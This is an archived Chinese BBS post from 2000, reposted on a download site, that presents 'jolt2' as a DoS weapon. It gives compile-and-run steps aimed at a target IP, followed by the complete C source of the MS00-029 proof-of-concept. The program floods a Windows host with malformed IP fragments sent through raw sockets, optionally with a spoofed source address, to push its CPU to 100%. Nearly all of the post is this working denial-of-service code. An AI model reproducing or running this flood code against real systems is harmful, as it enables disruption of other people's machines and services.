⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 65.htm

📁 网络编程原理文摘 [文件] 精华区目录结构 [目录] 网络编程的基本原理 [目录] 网络编程与网络协议 [目录] 网上资源 [目录] winsock技术 [目录
💻 HTM
字号:
<HTML><HEAD><TITLE>CTerm非常精华下载</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD>
<BODY bgColor=#ffffff>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=100% background=0044.jpg>
  <BODY>
  <TR>
    <TD height=150 rowSpan=2 width="308" ><IMG alt=DDl_back.jpg height=129 width=300 src="DDl_back.jpg" ></TD>
    <TD background=DDl_back2.jpg height=50 width="581" ><BIG><BIG><FONT face=黑体>
      <P align=center >重拳出击  一网打尽</FONT></BIG></BIG></P></TD></TR>
  <TR>
    <TD bgColor=#0099ff borderColor=#0099ff height=5 width="581"></TD></TR>
  <TR>
    <TD align=middle colSpan=2 height=100 vAlign=top width="891" ><BR>
<p align=center>[<a href="清华bbs网络资源.htm">回到开始</a>][<a href="8.htm">上一层</a>][<a href="66.htm">下一篇</a>]
<hr><p align="left"><small>发信人: Uglypoorman (太平常), 信区: NetPRG <br>

标  题: 看看这个攻击程序 <br>

发信站: BBS 水木清华站 (Fri Dec  1 16:59:25 2000) WWW-POST <br>

  <br>

这是一个超级dos攻击武器,通过发送不完整的数据包碎片,对方cpu将100%被站用。 <br>

使用方法: <br>

在linux or unix 上运行如下命令: <br>

gcc -o jolt2 jolt2.c <br>

jolt2 对方ip <br>

看结果吧,最好先在自己的机器上试一试。 <br>

  <br>

/* <br>

 * File:   jolt2.c <br>

 * Author: Phonix <phonix@moocow.org> <br>

 * Date:   23-May-00 <br>

 * <br>

 * Description: This is the proof-of-concept code for the <br>

 *              Windows denial-of-serice attack described by <br>

 *              the Razor team (NTBugtraq, 19-May-00) <br>

 *              (MS00-029).  This code causes cpu utilization <br>

 *              to go to 100%. <br>

 * <br>

 * Tested against: Win98; NT4/SP5,6; Win2K <br>



 * <br>

 * Written for: My Linux box.  YMMV.  Deal with it. <br>

 * <br>

 * Thanks: This is standard code.  Ripped from lots of places. <br>

 *         Insert your name here if you think you wrote some of <br>

 *         it.  It's a trivial exploit, so I won't take credit <br>

 *         for anything except putting this file together. <br>

 */ <br>

  <br>

#define THRUPUT <br>

  <br>

#include <stdio.h> <br>

#include <stdlib.h> <br>

#include <string.h> <br>

#include <unistd.h> <br>

#include <netdb.h> <br>

#include <sys/socket.h> <br>

#include <sys/types.h> <br>

#include <netinet/in.h> <br>

#include <netinet/ip.h> <br>

#include <netinet/ip_icmp.h> <br>

#include <netinet/udp.h> <br>



#include <arpa/inet.h> <br>

#include <getopt.h> <br>

#ifdef THRUPUT <br>

#include <signal.h> <br>

#include <time.h> <br>

  <br>

time_t last; <br>

int ok = 0; <br>

int bad = 0; <br>

unsigned long delay = 0; <br>

  <br>

void update(int sig) <br>

{ <br>

        static int lastcnt = 0; <br>

        time_t now = time(0); <br>

        int thruput = (ok - lastcnt) / (now - last); <br>

  <br>

        printf("%d packets/sec bad %d delay %lu\n", <br>

                   thruput, bad, delay); <br>

  <br>

        lastcnt = ok; <br>

        last = time(0); <br>



        alarm(10); <br>

} <br>

#endif <br>

  <br>

struct _pkt <br>

{ <br>

  struct iphdr    ip; <br>

  union { <br>

    struct icmphdr  icmp; <br>

    struct udphdr   udp; <br>

  }  proto; <br>

  char data; <br>

} pkt; <br>

  <br>

int icmplen  = sizeof(struct icmphdr), <br>

    udplen   = sizeof(struct udphdr), <br>

    iplen    = sizeof(struct iphdr), <br>

    spf_sck; <br>

  <br>

void usage(char *pname) <br>

{ <br>

  fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", <br>



           pname); <br>

  fprintf (stderr, "Note: UDP used if a port is specified, otherwise <br>

ICMP\n"); <br>

  exit(0); <br>

} <br>

  <br>

u_long host_to_ip(char *host_name) <br>

{ <br>

  static  u_long ip_bytes; <br>

  struct hostent *res; <br>

  <br>

  res = gethostbyname(host_name); <br>

  if (res == NULL) <br>

    return (0); <br>

  memcpy(&ip_bytes, res->h_addr, res->h_length); <br>

  return (ip_bytes); <br>

} <br>

  <br>

void quit(char *reason) <br>

{ <br>

  perror(reason); <br>

  close(spf_sck); <br>



  exit(-1); <br>

} <br>

  <br>

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) <br>

{ <br>

  int     bs, psize; <br>

  struct  sockaddr_in to; <br>

  <br>

  to.sin_family = AF_INET; <br>

  to.sin_port = 1235; <br>

  to.sin_addr.s_addr = dst_addr; <br>

  <br>

  if (port) <br>

    psize = iplen + udplen + 1; <br>

  else <br>

    psize = iplen + icmplen + 1; <br>

  memset(&pkt, 0, psize); <br>

  <br>

  pkt.ip.version = 4; <br>

  pkt.ip.ihl = 5; <br>

  pkt.ip.tot_len = htons(iplen + icmplen) + 40; <br>

  pkt.ip.id = htons(0x455); <br>



  pkt.ip.ttl = 255; <br>

  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); <br>

  pkt.ip.saddr = src_addr; <br>

  pkt.ip.daddr = dst_addr; <br>

  pkt.ip.frag_off = htons (8190); <br>

  <br>

  if (port) <br>

  { <br>

    pkt.proto.udp.source = htons(port|1235); <br>

    pkt.proto.udp.dest = htons(port); <br>

    pkt.proto.udp.len = htons(9); <br>

    pkt.data = 'a'; <br>

  } else { <br>

    pkt.proto.icmp.type = ICMP_ECHO; <br>

    pkt.proto.icmp.code = 0; <br>

    pkt.proto.icmp.checksum = 0; <br>

  } <br>

  <br>

#ifdef THRUPUT <br>

  signal(SIGALRM, update); <br>

  time(&last); <br>

  alarm(10); <br>

  alarm(10); <br>

#endif <br>

  while (1) { <br>

    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, <br>

              sizeof(struct sockaddr)); <br>

#ifdef THRUPUT <br>

        if(bs == -1) { <br>

                ++bad; <br>

                if(bad == 1) perror("sendto"); <br>

        } <br>

        else <br>

                ++ok; <br>

  <br>

        if(++delay == 2) <br>

        { <br>

                delay = 0; <br>

                usleep(0); <br>

        } <br>

#endif <br>

  } <br>

  return bs; <br>

} <br>

  <br>

  <br>

int main(int argc, char *argv[]) <br>

{ <br>

  u_long  src_addr, dst_addr; <br>

  int i, bs=1, port=0; <br>

  char hostname[32]; <br>

  <br>

  if (argc < 2) <br>

    usage (argv[0]); <br>

  <br>

  gethostname (hostname, 32); <br>

  src_addr = host_to_ip(hostname); <br>

  <br>

  while ((i = getopt (argc, argv, "s:p:h")) != EOF) <br>

  { <br>

    switch (i) <br>

    { <br>

      case 's': <br>

        src_addr = host_to_ip(optarg); <br>

        if (!src_addr) <br>

          quit("Bad source address given."); <br>

        break; <br>

  <br>

  <br>

      case 'p': <br>

        port = atoi(optarg); <br>

        if ((port <=0) || (port > 65535)) <br>

          quit ("Invalid port number given."); <br>

        break; <br>

  <br>

      case 'h': <br>

      default: <br>

        usage (argv[0]); <br>

    } <br>

  } <br>

  <br>

  dst_addr = host_to_ip(argv[argc-1]); <br>

  if (!dst_addr) <br>

    quit("Bad destination address given."); <br>

  <br>

  spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); <br>

  if (!spf_sck) <br>

    quit("socket()"); <br>

  if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, <br>

      sizeof(bs)) < 0) <br>

    quit("IP_HDRINCL"); <br>



  <br>

  do_frags (spf_sck, src_addr, dst_addr, port); <br>

  <br>

  return 0; // compiler shutup <br>

} <br>

  <br>

  <br>

/* <br>

 * Local Variables: <br>

 * compile-command: "gcc -O3 -Wall jolt2.c -o jolt2" <br>

 * End: <br>

 */ <br>

  <br>

-- <br>

※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.87.245] <br>

</small><hr>
<p align="center">[<a href="清华bbs网络资源.htm">回到开始</a>][<a href="8.htm">上一层</a>][<a href="66.htm">下一篇</a>]<p align="center" ><font face="黑体" size=5><big>网络资源大全</big></font></p> 
</table> 
</body> 
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -